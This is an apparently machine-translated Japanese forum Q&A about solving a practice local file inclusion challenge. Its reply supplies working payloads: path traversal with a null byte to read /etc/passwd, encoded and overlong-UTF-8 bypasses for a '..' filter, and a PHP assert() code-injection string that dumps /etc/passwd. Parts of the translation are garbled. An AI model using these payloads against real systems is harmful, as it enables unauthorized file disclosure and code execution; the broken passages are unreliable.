私は現在、セキュリティについていくつかの練習をしており、Webサイトで提供される課題に直面しています。そのうちの1人がLFIについて話し、私は何をすべきかを理解しましたが、これを行う方法がわからないので、問題を示しましょう。
ハックするURLは次のとおりです。
http://example.com/challenge27/?page=contact
私は/etc/passwd
でパスワードを取得するように求められます。そのため、最初に考えられるのは、いくつかのディレクトリトランスバーサルを試すことです。
http://example.com/challenge27/?page=.
これは例外をスローします:
Warning: assert(): Assertion "strpos('includes/..php', '..') === false" failed
明らかなことは、strpos
がパス内の'..'
のすべての出現を検出し、アサーションがこの関数がfalse値を返すことを確認することです
次に、同じURLの末尾にnullバイトを追加して試してみます
http://example.com/challenge27/?page=.%00
これは私に別のヒントを与えます:
Warning: file_exists() expects parameter 1 to be a valid path
しかし、ここではブロックされています。私の目標は、次のように/etc/passwd
へのパスを挿入することです。
http://example.com/challenge27/?page=../../../../etc/passwd
私はnullバイトソリューションを活用できるように感じますが、多くの異なるURLを試した後、file_exists()警告またはassert()警告のいずれかを取得した後、アイデアが足りなくなりました、誰かにもう1つヒントがありますか?
通常はパスで、その後にnullバイトが続きます 実際にファイルを取得するCコードが実行されるとき :
http://example.com/challenge27/?page=../../../../etc/passwd%00
PHPの最新バージョンではnullバイト文字は機能しないことに注意してください。
もう1つの課題は、..
フィルタを通過しました。
これらを試す このチェックをバイパスできるかどうかを確認します。
.
= %u002e
)。.
=%252e)。.
は%c0%2e
、%e0%40%ae
、%c0ae
)_'
_を入力として渡してみてください。 Parse error: syntax error, unexpected ’’, ’’ (T_CONSTANT_ENCAPSED_STRING) in ...
のような例外をスローする場合、コードインジェクションに対して脆弱です。
その場合、次のようなファイルを開くことができます。
_' and die(show_source('/etc/passwd')) or '
_
詳細は this write-up にあります。